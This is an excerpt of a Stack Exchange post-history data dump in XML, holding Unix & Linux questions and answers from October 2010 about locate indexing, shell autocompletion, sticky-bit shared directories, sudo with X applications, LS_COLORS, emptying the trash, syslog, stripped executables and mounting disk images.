  <row Id="6185" PostHistoryTypeId="2" PostId="2953" RevisionGUID="88eb92ed-4740-470f-b034-9d00eae9fecc" CreationDate="2010-10-10T18:28:37.030" UserId="1534" Text="&gt; I find it surprising how fast does locate work or the autocompletion (that I know) work in linux. ... Is there any indexing being done in the background or how is this achieved?&#xD;&#xA;&#xD;&#xA;This is actually two completely distinct questions.&#xD;&#xA;&#xD;&#xA;`locate` uses an index (slocate stores it in `/var/lib/slocate/`), that is updated by a nightly `cron` job. This nightly job *typically* runs at about 1 or 2AM local time, and completely scans your entire system (including all connected drives). The resulting index is simply a list of filenames.&#xD;&#xA;&#xD;&#xA;Auto-complete is handled by your shell. Most systems use `bash`, so `bash-completion` is the collection of scripts that manage how this works. (`zsh` has a similarly-named collection, and most of the other shells have some form of completion built-in.) When &lt;kbd&gt;Tab&lt;/kbd&gt; is pressed, the shell runs a script that decides, based on what you've typed already, what, exactly, needs to be completed. The script then generates a list of possible completions, which may or may not be the list of files in the current directory, or the list of executable files in your `$PATH`. The `locate` command is normally *not* used for this." />
  <row Id="6186" PostHistoryTypeId="2" PostId="2954" RevisionGUID="909a574d-8a1d-49a5-94c0-14e37f5fae01" CreationDate="2010-10-10T19:10:18.920" UserId="29" Text="I have multiple users on my system. I'd like to have shared directories like music, video. pictures etc. The problems is that I want users to be able to write any new files to any directory, but not be able to delete or modify any files they don't own. With standard unix perms if you can add a file to a directory you can also delete others. I'd also like to make sure all the files in these directories are always readable by the user group.&#xD;&#xA;&#xD;&#xA;Can I do this with POSIX ACL's? or do I need something more advanced like SELinux (or other security framework)." />
  <row Id="6187" PostHistoryTypeId="1" PostId="2954" RevisionGUID="909a574d-8a1d-49a5-94c0-14e37f5fae01" CreationDate="2010-10-10T19:10:18.920" UserId="29" Text="What's the best way to configure shared filesystem directories? (beyond standard unix perms)" />
  <row Id="6188" PostHistoryTypeId="3" PostId="2954" RevisionGUID="909a574d-8a1d-49a5-94c0-14e37f5fae01" CreationDate="2010-10-10T19:10:18.920" UserId="29" Text="ésecurityàépermissionsàéselinuxà" />
  <row Id="6191" PostHistoryTypeId="5" PostId="2954" RevisionGUID="1eff5b51-81b3-43a0-b559-2d90c3cbdfd4" CreationDate="2010-10-10T19:36:58.227" UserId="29" Comment="update" Text="I have multiple users on my system. I'd like to have shared directories like music, video. pictures etc. The problems is that I want users to be able to write any new files to any directory, but not be able to delete or modify any files they don't own. With standard unix perms if you can add a file to a directory you can also delete others. I'd also like to make sure all the files in these directories are always readable by the user group.&#xD;&#xA;&#xD;&#xA;Can I do this with POSIX ACL's? or do I need something more advanced like SELinux (or other security framework).&#xD;&#xA;&#xD;&#xA;example of what I don't want to work.&#xD;&#xA;&#xD;&#xA;    su - root&#xD;&#xA;    mkdir /home/music&#xD;&#xA;    chmod 775 /home/music&#xD;&#xA;    chgrp users /home/music&#xD;&#xA;    su - user1 /home/music&#xD;&#xA;    touch /home/music/testfile&#xD;&#xA;    ll /home/music/testfile&#xD;&#xA;    su - user2&#xD;&#xA;    rm /home/music/testfile&#xD;&#xA;    ll /home/music" />
  <row Id="6192" PostHistoryTypeId="2" PostId="2956" RevisionGUID="348fa3e4-2478-4ae7-b39e-d15441264dad" CreationDate="2010-10-10T19:38:00.753" UserId="1131" Text="If I understand you correctly you want for your music/video etc. directories the same semantic as for /tmp.&#xD;&#xA;&#xD;&#xA;For this, you could put the sticky bit on the directories. To quote from the chmod man-page:&#xD;&#xA;&#xD;&#xA;&gt; RESTRICTED DELETION FLAG OR STICKY BIT&#xD;&#xA;       The  restricted  deletion  flag  or  sticky  bit is a single bit, whose&#xD;&#xA;       interpretation depends on the file type.  For directories, it  prevents&#xD;&#xA;       unprivileged  users  from  removing or renaming a file in the directory&#xD;&#xA;       unless they  own  the  file  or  the  directory;  this  is  called  the&#xD;&#xA;       restricted  deletion  flag  for the directory, and is commonly found on&#xD;&#xA;       world-writable directories like /tmp.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6193" PostHistoryTypeId="2" PostId="2957" RevisionGUID="0644e112-f750-4073-9da0-1328df38622b" CreationDate="2010-10-10T19:55:58.703" UserId="1656" Text="Check out this [Linux Home Automation][1] site and search the page for &quot;sunrise&quot;. There are some command line programs there from c. 1985 that are pretty minimalist. I have the source code for a number of related programs from that era, but I can't find them on the web.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.comcast.net/~ncherry/" />
  <row Id="6194" PostHistoryTypeId="2" PostId="2958" RevisionGUID="8f2193d5-6864-4d2d-9268-7a24cac180f1" CreationDate="2010-10-10T20:08:21.507" UserId="1571" Text="When I was using kubuntu, I could always open X applications with sudo, `sudo kate` for example. Now that I've switched to arch that doesn't work. I know I've always been told to use kdesu, but what setting is there in kubuntu that lets me use sudo on X apps that prevents me from doing it on arch?" />
  <row Id="6195" PostHistoryTypeId="1" PostId="2958" RevisionGUID="8f2193d5-6864-4d2d-9268-7a24cac180f1" CreationDate="2010-10-10T20:08:21.507" UserId="1571" Text="using sudo on GUI applications" />
  <row Id="6196" PostHistoryTypeId="3" PostId="2958" RevisionGUID="8f2193d5-6864-4d2d-9268-7a24cac180f1" CreationDate="2010-10-10T20:08:21.507" UserId="1571" Text="ékdeàéarchölinuxàésudoà" />
  <row Id="6197" PostHistoryTypeId="5" PostId="2957" RevisionGUID="1963cc79-a520-4d71-a374-02fcf4a123ee" CreationDate="2010-10-10T20:08:35.133" UserId="1656" Comment="Added another reference." Text="Check out this [Linux Home Automation][1] site and search the page for &quot;sunrise&quot;. There are some command line programs there from c. 1985 that are pretty minimalist. I have the source code for a number of related programs from that era, but I can't find them on the web.&#xD;&#xA;&#xD;&#xA;Update: I just found the source for a few others, including sdate, on this [Event Logger][2] page. Search the page for &quot;rise_set&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.comcast.net/~ncherry/&#xD;&#xA;  [2]: http://web.tiscali.it/macri/Event_Logger/Event_Logger.htm" />
  <row Id="6198" PostHistoryTypeId="5" PostId="2958" RevisionGUID="006c4bad-214c-4c83-a7d7-299a7f51781c" CreationDate="2010-10-10T20:35:01.567" UserId="1571" Comment="added 314 characters in body" Text="When I was using kubuntu, I could always open X applications with sudo, `sudo kate` for example. Now that I've switched to arch that doesn't work. I know I've always been told to use kdesu, but what setting is there in kubuntu that lets me use sudo on X apps that prevents me from doing it on arch?&#xD;&#xA;&#xD;&#xA;**Edit**:  &#xD;&#xA;Sorry, I did myself what I hate so much &gt;_&lt;&#xD;&#xA;&#xD;&#xA;This is what I'm trying to do:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[falmarri@falmarri-z-arch Downloads]$ sudo kate&#xD;&#xA;Password: &#xD;&#xA;No protocol specified&#xD;&#xA;kate: cannot connect to X server :0.0&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Note this is just a regular terminal session using konsole, I'm not usin SSH" />
  <row Id="6199" PostHistoryTypeId="2" PostId="2959" RevisionGUID="bc1fe583-02ca-403b-96fb-20ee3d09995b" CreationDate="2010-10-10T20:45:34.113" UserId="1571" Text="I'm trying to set up my color scheme for ls, and I'm having trouble finding information about exactly what parameters I have to work with, or where those come from. And especially setting colors for types of files instead of based on filetype.&#xD;&#xA;&#xD;&#xA;For example, this is my current color scheme:  &#xD;&#xA;`LS_COLORS='di=34;01:fi=0:ln=96;1:pi=36;1:so=31;1:bd=5:cd=5:or=31:mi=0:ex=35'`&#xD;&#xA;&#xD;&#xA;I found those parameters (di, fi, etc) from a website tutorial. But where do those come from? Can I set custom ones? I know I can set colors like `*.jpg=0` and such. But is there a way to do it based on types of files? I specifically want to set compressed file types, but if I have to do it by recognizing filetypes, I feel there's a better way." />
  <row Id="6200" PostHistoryTypeId="1" PostId="2959" RevisionGUID="bc1fe583-02ca-403b-96fb-20ee3d09995b" CreationDate="2010-10-10T20:45:34.113" UserId="1571" Text="LS_COLORS settings for specific types of files" />
  <row Id="6201" PostHistoryTypeId="3" PostId="2959" RevisionGUID="bc1fe583-02ca-403b-96fb-20ee3d09995b" CreationDate="2010-10-10T20:45:34.113" UserId="1571" Text="éterminalàécolorsàélsà" />
  <row Id="6202" PostHistoryTypeId="2" PostId="2960" RevisionGUID="78f72cf5-b3a9-47af-944f-ae554a14179c" CreationDate="2010-10-10T20:48:43.897" UserId="1941" Text="This looks like an intentional configuration in Arch Linux. See https://bbs.archlinux.org/viewtopic.php?pid=817103 for discussion with links to solutions.&#xD;&#xA;&#xD;&#xA;The best tip there seems to be adding &quot;DISPLAY XAUTHORITY&quot; to to the &quot;env_keep&quot; defaults in /etc/sudoers." />
  <row Id="6203" PostHistoryTypeId="5" PostId="2958" RevisionGUID="08df595e-dfe1-4501-94ad-7d5aa8b2aae6" CreationDate="2010-10-10T20:49:24.973" UserId="1941" Comment="fix spelling" Text="When I was using kubuntu, I could always open X applications with sudo, `sudo kate` for example. Now that I've switched to arch that doesn't work. I know I've always been told to use kdesu, but what setting is there in kubuntu that lets me use sudo on X apps that prevents me from doing it on arch?&#xD;&#xA;&#xD;&#xA;**Edit**:  &#xD;&#xA;Sorry, I did myself what I hate so much &gt;_&lt;&#xD;&#xA;&#xD;&#xA;This is what I'm trying to do:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[falmarri@falmarri-z-arch Downloads]$ sudo kate&#xD;&#xA;Password: &#xD;&#xA;No protocol specified&#xD;&#xA;kate: cannot connect to X server :0.0&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Note this is just a regular terminal session using konsole, I'm not using SSH" />
  <row Id="6204" PostHistoryTypeId="2" PostId="2961" RevisionGUID="fe259958-8f07-4751-af79-dcdf69d799ce" CreationDate="2010-10-10T20:58:15.490" UserId="1941" Text="Try the dircolors command. It can print the default colors to standard output. You can use this output to modify the defaults and generate a suitable &quot;LS_COLORS=...-line&quot; again with dircolors. Say you want all compressed files which are bright red by default to be bright green instead, then you'd do&#xD;&#xA;&#xD;&#xA;    dircolor -p &gt; dircolors.txt&#xD;&#xA;    vim dircolors&#xD;&#xA;&#xD;&#xA;then you scroll to the section including the compressed files and modify the values from 01;31 to 01;32. Then call&#xD;&#xA;&#xD;&#xA;    dircolors -b dircolors.txt&#xD;&#xA;&#xD;&#xA;to generate the &quot;LS_COLORS=...&quot;-line for you with the modified values.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6206" PostHistoryTypeId="2" PostId="2963" RevisionGUID="3f2aae54-85a8-43fb-ab41-1b79ee85d61f" CreationDate="2010-10-10T21:13:48.757" UserId="1941" Text="I think it is not possible. The relevant script is /etc/gdm/Xsession. There quite at the top you'll find &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # First read /etc/profile and .profile test -f /etc/profile &amp;&amp; . /etc/profile&#xD;&#xA;    test -f &quot;$HOME/.profile&quot; &amp;&amp; .&#xD;&#xA;    &quot;$HOME/.profile&quot;&#xD;&#xA;&#xD;&#xA;and after that (and sourcing other scripts, loading X resources etc) the desktop environment is started, inheriting the values of .profile just loaded. As there is no way to change the environment of running processes (if the process has no special functionality to import changed environment, but this is nothing you commonly find), you seem to be out of luck." />
  <row Id="6207" PostHistoryTypeId="5" PostId="2958" RevisionGUID="9cdc4b17-4f75-4728-9dfb-71b25eb7a29f" CreationDate="2010-10-10T21:16:35.940" UserId="1571" Comment="added 5436 characters in body" Text="When I was using kubuntu, I could always open X applications with sudo, `sudo kate` for example. Now that I've switched to arch that doesn't work. I know I've always been told to use kdesu, but what setting is there in kubuntu that lets me use sudo on X apps that prevents me from doing it on arch?&#xD;&#xA;&#xD;&#xA;**Edit**:  &#xD;&#xA;Sorry, I did myself what I hate so much &gt;_&lt;&#xD;&#xA;&#xD;&#xA;This is what I'm trying to do:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[falmarri@falmarri-z-arch Downloads]$ sudo kate&#xD;&#xA;Password: &#xD;&#xA;No protocol specified&#xD;&#xA;kate: cannot connect to X server :0.0&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Note this is just a regular terminal session using konsole, I'm not using SSH&#xD;&#xA;&#xD;&#xA;**/etc/sudoers**:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;## sudoers file.&#xD;&#xA;##&#xD;&#xA;## This file MUST be edited with the 'visudo' command as root.&#xD;&#xA;## Failure to use 'visudo' may result in syntax or file permission errors&#xD;&#xA;## that prevent sudo from running.&#xD;&#xA;##&#xD;&#xA;## See the sudoers man page for the details on how to write a sudoers file.&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;## Host alias specification&#xD;&#xA;##&#xD;&#xA;## Groups of machines. These may include host names (optionally with wildcards),&#xD;&#xA;## IP addresses, network numbers or netgroups.&#xD;&#xA;# Host_Alias    WEBSERVERS = www1, www2, www3&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;## User alias specification&#xD;&#xA;##&#xD;&#xA;## Groups of users.  These may consist of user names, uids, Unix groups,&#xD;&#xA;## or netgroups.&#xD;&#xA;# User_Alias    ADMINS = millert, dowdy, mikef&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;## Cmnd alias specification&#xD;&#xA;##&#xD;&#xA;## Groups of commands.  Often used to group related commands together.                                                               &#xD;&#xA;# Cmnd_Alias    PROCESSES = /usr/bin/nice, /bin/kill, /usr/bin/renice, \                                                             &#xD;&#xA;#                           /usr/bin/pkill, /usr/bin/top                                                                             &#xD;&#xA;                                                                                                                                     &#xD;&#xA;##                                                                                                                                   &#xD;&#xA;## Defaults specification                                                                                                            &#xD;&#xA;##                                                                                                                                   &#xD;&#xA;## You may wish to keep some of the following environment variables                                                                  &#xD;&#xA;## when running commands via sudo.                                                                                                   &#xD;&#xA;##                                                                                                                                   &#xD;&#xA;## Locale settings                                                                                                                   &#xD;&#xA;# Defaults env_keep += &quot;LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET&quot;                                                                     &#xD;&#xA;##                                                                                                                                   &#xD;&#xA;## Run X applications through sudo; HOME is used to find the                                                                         &#xD;&#xA;## .Xauthority file.  Note that other programs use HOME to find                                                                      &#xD;&#xA;## configuration files and this may lead to privilege escalation!                                                                    &#xD;&#xA; Defaults env_keep += &quot;HOME&quot;                                                                                                         &#xD;&#xA;##                                                                                                                                   &#xD;&#xA;## X11 resource path settings                                                                                                        &#xD;&#xA; Defaults env_keep += &quot;XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH&quot;                                                              &#xD;&#xA;##                                                                                                                                   &#xD;&#xA;## Desktop path settings                                                                                                             &#xD;&#xA; Defaults env_keep += &quot;QTDIR KDEDIR&quot;                                                                                                 &#xD;&#xA;##                                                                                                                                   &#xD;&#xA;## Allow sudo-run commands to inherit the callers' ConsoleKit session&#xD;&#xA;# Defaults env_keep += &quot;XDG_SESSION_COOKIE&quot;&#xD;&#xA;##&#xD;&#xA;## Uncomment to enable special input methods.  Care should be taken as&#xD;&#xA;## this may allow users to subvert the command being run via sudo.&#xD;&#xA; Defaults env_keep += &quot;XMODIFIERS GTK_IM_MODULE QT_IM_MODULE QT_IM_SWITCHER&quot;&#xD;&#xA;##&#xD;&#xA;## Uncomment to enable logging of a command's output, except for&#xD;&#xA;## sudoreplay and reboot.  Use sudoreplay to play back logged sessions.&#xD;&#xA;# Defaults log_output&#xD;&#xA;# Defaults!/usr/bin/sudoreplay !log_output&#xD;&#xA;# Defaults!/usr/local/bin/sudoreplay !log_output&#xD;&#xA;# Defaults!/sbin/reboot !log_output&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;## Runas alias specification&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Defaults:falmarri timestamp_timeout=10&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;## User privilege specification&#xD;&#xA;##&#xD;&#xA;root ALL=(ALL) ALL&#xD;&#xA;&#xD;&#xA;## Uncomment to allow members of group wheel to execute any command&#xD;&#xA;%wheel ALL=(ALL) ALL&#xD;&#xA;&#xD;&#xA;## Same thing without a password&#xD;&#xA;# %wheel ALL=(ALL) NOPASSWD: ALL&#xD;&#xA;&#xD;&#xA;## Uncomment to allow members of group sudo to execute any command&#xD;&#xA;# %sudo ALL=(ALL) ALL&#xD;&#xA;&#xD;&#xA;## Uncomment to allow any user to run sudo if they know the password&#xD;&#xA;## of the user they are running the command as (root by default).&#xD;&#xA;# Defaults targetpw  # Ask for the password of the target user&#xD;&#xA;# ALL ALL=(ALL) ALL  # WARNING: only use this together with 'Defaults targetpw'&#xD;&#xA;&#xD;&#xA;## Read drop-in files from /etc/sudoers.d&#xD;&#xA;## (the '#' here does not indicate a comment)&#xD;&#xA;#includedir /etc/sudoers.d&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="6208" PostHistoryTypeId="5" PostId="2960" RevisionGUID="13b3069d-4bc6-4933-addf-c89e16f07014" CreationDate="2010-10-10T21:17:29.977" UserId="1941" Comment="added 546 characters in body" Text="This looks like an intentional configuration in Arch Linux. See https://bbs.archlinux.org/viewtopic.php?pid=817103 for discussion with links to solutions.&#xD;&#xA;&#xD;&#xA;The best tip there seems to be adding &quot;DISPLAY XAUTHORITY&quot; to to the &quot;env_keep&quot; defaults in /etc/sudoers.&#xD;&#xA;&#xD;&#xA;Fedora has in /etc/sudoers the following and this allows sudo somexapp to succeed.&#xD;&#xA;&#xD;&#xA;    Defaults    env_reset&#xD;&#xA;    Defaults    env_keep =  &quot;COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS&quot;&#xD;&#xA;    Defaults    env_keep += &quot;MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE&quot;&#xD;&#xA;    Defaults    env_keep += &quot;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES&quot;&#xD;&#xA;    Defaults    env_keep += &quot;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&quot;&#xD;&#xA;    Defaults    env_keep += &quot;LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY&quot;" />
  <row Id="6209" PostHistoryTypeId="5" PostId="2963" RevisionGUID="ad0d5478-4478-4749-ba98-2ad3a20b8956" CreationDate="2010-10-10T21:27:15.160" UserId="1207" Comment="I fixed the file excerpt line breaks to make more sense." Text="I think it is not possible. The relevant script is /etc/gdm/Xsession. There quite at the top you'll find &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # First read /etc/profile and .profile &#xD;&#xA;    test -f /etc/profile &amp;&amp; . /etc/profile&#xD;&#xA;    test -f &quot;$HOME/.profile&quot; &amp;&amp; . &quot;$HOME/.profile&quot;&#xD;&#xA;&#xD;&#xA;and after that (and sourcing other scripts, loading X resources etc) the desktop environment is started, inheriting the values of .profile just loaded. As there is no way to change the environment of running processes (if the process has no special functionality to import changed environment, but this is nothing you commonly find), you seem to be out of luck." />
  <row Id="6210" PostHistoryTypeId="2" PostId="2964" RevisionGUID="38e8a374-85f9-4f18-8386-7355f02ab6f7" CreationDate="2010-10-10T21:36:55.797" UserId="1941" Text="There is a [feature request in Gnome's bugzilla][1] asking for a way to do this, so it seems it is not possible at the moment. For now, what you can do is arrange all icons which are always visible at the very right of the panel and lock them (Rightclick-&gt;Lock to panel). Then the icons which may vanish at least don't interrupt their position.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.gnome.org/show_bug.cgi?id=557925" />
  <row Id="6211" PostHistoryTypeId="2" PostId="2965" RevisionGUID="20087d18-0713-47dd-b134-3bdf1f0a1344" CreationDate="2010-10-10T22:22:06.403" UserId="1389" Text="This would be great especially considering the latest version of Ubuntu is very slow when displaying directories on my PC..." />
  <row Id="6212" PostHistoryTypeId="1" PostId="2965" RevisionGUID="20087d18-0713-47dd-b134-3bdf1f0a1344" CreationDate="2010-10-10T22:22:06.403" UserId="1389" Text="Is there a way to empty the trash/wastebasket from the command line?" />
  <row Id="6213" PostHistoryTypeId="3" PostId="2965" RevisionGUID="20087d18-0713-47dd-b134-3bdf1f0a1344" CreationDate="2010-10-10T22:22:06.403" UserId="1389" Text="écommandölineàédirectoryà" />
  <row Id="6214" PostHistoryTypeId="2" PostId="2966" RevisionGUID="957dc09c-86b3-48b0-9acf-736a9402a9ed" CreationDate="2010-10-10T22:31:23.127" UserId="1339" Text="There is no such thing like a system trash in Linux, but its common for many desktop environments to use `~/.Trash` as trash folder. This depends on the window manager you are using.&#xD;&#xA;&#xD;&#xA;For Gnome you can empty this folder with:&#xD;&#xA;`rm -rf ~/.Trash/*`" />
  <row Id="6215" PostHistoryTypeId="2" PostId="2967" RevisionGUID="b4c7e2a9-3f4f-4372-b731-146a216510ee" CreationDate="2010-10-10T23:08:27.210" UserId="885" Text="&gt; I just wonder why are there so many log files in a typical Linux system?&#xD;&#xA;&#xD;&#xA;The different log files contain different information (though there is typically some duplication). They often have different characteristics: different rotation and retention policies, different permissions, etc. The syslog daemon takes care of writing them; you can see its settings in [`/etc/syslog.conf`](http://linux.die.net/man/5/syslog.conf) or [`/etc/syslog-ng.conf`](http://linux.die.net/man/5/syslog-ng.conf).&#xD;&#xA;&#xD;&#xA;&gt; Wouldn't it be a better idea to have one system api function for logging&#xD;&#xA;&#xD;&#xA;This one is a good idea. Let's call it [syslog](http://www.opengroup.org/onlinepubs/009695399/functions/syslog.html). Its job is to send the log entries to the syslog daemon.&#xD;&#xA;&#xD;&#xA;&gt; and one consolidated table to save all the log entries from all the applications?&#xD;&#xA;&#xD;&#xA;Now that's a whole can of worms. You seem to be assuming the presence of a database engine, probably a relational database, probably one you can query in SQL. But Unix is older than SQL, and there are very good reasons why it hasn't adopted SQL as a standard component. Under Unix, the database is the filesystem. It's not a relational database, it's a *simple* one. Its entries are not rows, but *simple* files, preferably text, preferably with a simple format. For example, log files are text files, with one entry per line, containing the date, the machine name, the originating program and the entry text. Using a relational database would have a number of downsides:&#xD;&#xA;&#xD;&#xA;* What do you do if the database isn't working? (The filesystem is a fundamental component (and have I mentioned it's a lot simpler than a relational database?); the syslog daemon is a simple component that does one job (a common feature in Unix design) and so is expected to do it well and reliably.)&#xD;&#xA;* How do you log database operations? (Ok, through the database itself — after all the logs contain entries from the kernel and from the syslog daemon — but again a much more complex database makes this more difficult and less reliable).&#xD;&#xA;* How do you access log entries? Compare the simplicity of `cat`, `grep`, `less` against SQL queries. And file permissions against, well, I don't know how you'd handle this in a typical relational database.&#xD;&#xA;* Multi-server installations don't store their logs locally, they use the remote log feature that's been built into the syslog daemon since pretty much the dawn of Unix. That's easy to implement with the unix logging architecture; you can't run a replicated database on that complexity budget.&#xD;&#xA;" />
  <row Id="6216" PostHistoryTypeId="2" PostId="2968" RevisionGUID="00886bd7-1285-46a1-966c-3b9c7d40b517" CreationDate="2010-10-11T04:08:28.177" UserId="4" Text="If you would really like to store your system logs in a relational database (which can have many advantages), check out [rsyslog][1] ([The up and coming replacement for syslog][2]), which can write system logs to a [MySQL][3], [Postgres or Oracle database][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rsyslog.com/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Rsyslog#Distributions&#xD;&#xA;  [3]: http://www.rsyslog.com/doc/rsyslog_mysql.html&#xD;&#xA;  [4]: http://www.rsyslog.com/doc/manual.html" />
  <row Id="6217" PostHistoryTypeId="2" PostId="2969" RevisionGUID="334968a6-fa1f-4a6d-90f9-1b04cfaf3011" CreationDate="2010-10-11T06:10:58.207" UserId="912" Text="From [man file][1],&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    EXAMPLES&#xD;&#xA;       $ file file.c file /dev/{wd0a,hda}&#xD;&#xA;       file.c:   C program text&#xD;&#xA;       file:     ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),&#xD;&#xA;                 dynamically linked (uses shared libs), stripped&#xD;&#xA;       /dev/wd0a: block special (0/0)&#xD;&#xA;       /dev/hda: block special (3/0)&#xD;&#xA;       $ file -s /dev/wd0{b,d}&#xD;&#xA;       /dev/wd0b: data&#xD;&#xA;       /dev/wd0d: x86 boot sector&#xD;&#xA;       $ file -s /dev/hda{,1,2,3,4,5,6,7,8,9,10}&#xD;&#xA;       /dev/hda:   x86 boot sector&#xD;&#xA;       /dev/hda1:  Linux/i386 ext2 filesystem&#xD;&#xA;       /dev/hda2:  x86 boot sector&#xD;&#xA;       /dev/hda3:  x86 boot sector, extended partition table&#xD;&#xA;       /dev/hda4:  Linux/i386 ext2 filesystem&#xD;&#xA;       /dev/hda5:  Linux/i386 swap file&#xD;&#xA;       /dev/hda6:  Linux/i386 swap file&#xD;&#xA;       /dev/hda7:  Linux/i386 swap file&#xD;&#xA;       /dev/hda8:  Linux/i386 swap file&#xD;&#xA;       /dev/hda9:  empty&#xD;&#xA;       /dev/hda10: empty&#xD;&#xA;&#xD;&#xA;       $ file -i file.c file /dev/{wd0a,hda}&#xD;&#xA;       file.c:      text/x-c&#xD;&#xA;       file:        application/x-executable, dynamically linked (uses shared libs),&#xD;&#xA;       not stripped&#xD;&#xA;       /dev/hda:    application/x-not-regular-file&#xD;&#xA;       /dev/wd0a:   application/x-not-regular-file&#xD;&#xA;&#xD;&#xA;What does executable stripping mean?&#xD;&#xA;&#xD;&#xA;Why are some of the executables stripped while others are not?&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?file" />
  <row Id="6218" PostHistoryTypeId="1" PostId="2969" RevisionGUID="334968a6-fa1f-4a6d-90f9-1b04cfaf3011" CreationDate="2010-10-11T06:10:58.207" UserId="912" Text="What are stripped and not-stripped executables in Unix?" />
  <row Id="6219" PostHistoryTypeId="3" PostId="2969" RevisionGUID="334968a6-fa1f-4a6d-90f9-1b04cfaf3011" CreationDate="2010-10-11T06:10:58.207" UserId="912" Text="élinuxàéunixàébinaryàéexecutableàéstrippingà" />
  <row Id="6220" PostHistoryTypeId="2" PostId="2970" RevisionGUID="20a636f3-7f44-40b4-9372-74b8d1aa1315" CreationDate="2010-10-11T06:25:56.553" UserId="912" Text="**[bootinfo][1]** for AIX...&#xD;&#xA;&#xD;&#xA;&quot;...shows whether the hardware in use is 32-bit or 64-bit&quot;.&#xD;&#xA;&#xD;&#xA;What command/utility for Linux would do this job?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://publib.boulder.ibm.com/infocenter/javasdk/v5r0/index.jsp?topic=/com.ibm.java.doc.diagnostics.50/diag/problem_determination/aix_cmd_bootinfo_y.html" />
  <row Id="6221" PostHistoryTypeId="1" PostId="2970" RevisionGUID="20a636f3-7f44-40b4-9372-74b8d1aa1315" CreationDate="2010-10-11T06:25:56.553" UserId="912" Text="What is the Linux equivalent of bootinfo command?" />
  <row Id="6222" PostHistoryTypeId="3" PostId="2970" RevisionGUID="20a636f3-7f44-40b4-9372-74b8d1aa1315" CreationDate="2010-10-11T06:25:56.553" UserId="912" Text="éunixàéaixàélunixà" />
  <row Id="6223" PostHistoryTypeId="2" PostId="2971" RevisionGUID="5548b4ed-17e8-4c80-a4df-96182a5e17bf" CreationDate="2010-10-11T06:33:42.310" UserId="1207" Text="`uname -m` should do the trick, as should `arch`. " />
  <row Id="6224" PostHistoryTypeId="2" PostId="2972" RevisionGUID="bef5ba4c-040f-4b34-8580-3925df7f9c66" CreationDate="2010-10-11T06:43:30.227" UserId="1941" Text="If you compile an executable with gcc's -g flag, it contains debugging information. That means for each instruction there is information which line of the source code generated it, the name of the variables in the source code is retained and can be associated to the matching memory at runtime etc. Strip can remove this debugging information and other data included in the executable which is not necessary for execution in order to reduce the size of the executable." />
  <row Id="6225" PostHistoryTypeId="5" PostId="2971" RevisionGUID="2399aac2-e236-44e1-b995-995bb116cac2" CreationDate="2010-10-11T06:48:34.917" UserId="1207" Comment="added 650 characters in body" Text="Usually `uname -m` should do the trick, as should `arch`. &#xD;&#xA;&#xD;&#xA;The output of both of these commands will tell you the architecture for whcih the OS was built.  Whether this is 32 or 64 bit is usually pretty clear (x86_64 and ia64 are two possible 64-bit architectures).  However, note that you could have a 32-bit kernel while running on 64-bit hardware.  If you really want to know about the hardware try looking at either&#xD;&#xA;&#xD;&#xA;`less /proc/cpuinfo`&#xD;&#xA;&#xD;&#xA;if the &quot;flags&quot; line has 'lm' in it, then it is 64 bit.&#xD;&#xA;&#xD;&#xA;Or, if you have `lshw`&#xD;&#xA;&#xD;&#xA;`lshw -class processor`&#xD;&#xA;&#xD;&#xA;and look at the &quot;width&quot; line.&#xD;&#xA;&#xD;&#xA;For both of these options, `grep` can be employed to quickly get the answer without looking at the output." />
  <row Id="6226" PostHistoryTypeId="2" PostId="2973" RevisionGUID="d5947a08-d5ec-4d21-ab63-0f32253b0c86" CreationDate="2010-10-11T10:07:54.180" UserId="92" Text="I've created an image of my hd with dd, but grub was installed on it, and I'm trying to figure out how to mount the image file, but mount doesn't recognise it as an ext4 partition because of the grub header.&#xD;&#xA;&#xD;&#xA;I know it's there because when I run file -k disk.img, I get the following:&#xD;&#xA;&#xD;&#xA;    disk.img: x86 boot sector; GRand Unified Bootloader, stage1 version 0x3, 1st sector stage2 0x3a883d7, code offset 0x48\012- Linux rev 1.0 ext4 filesystem data, UUID=6d1e45d1-8fac-4995-839b-fa5691a898ad (needs journal recovery) (errors) (extents) (large files) DOS executable (COM), boot code&#xD;&#xA;&#xD;&#xA;Anyone have any thoughts as to how I could find the beginning of the partition so that I can tell mount (well, losetup really) where the offset is to load the partition?" />
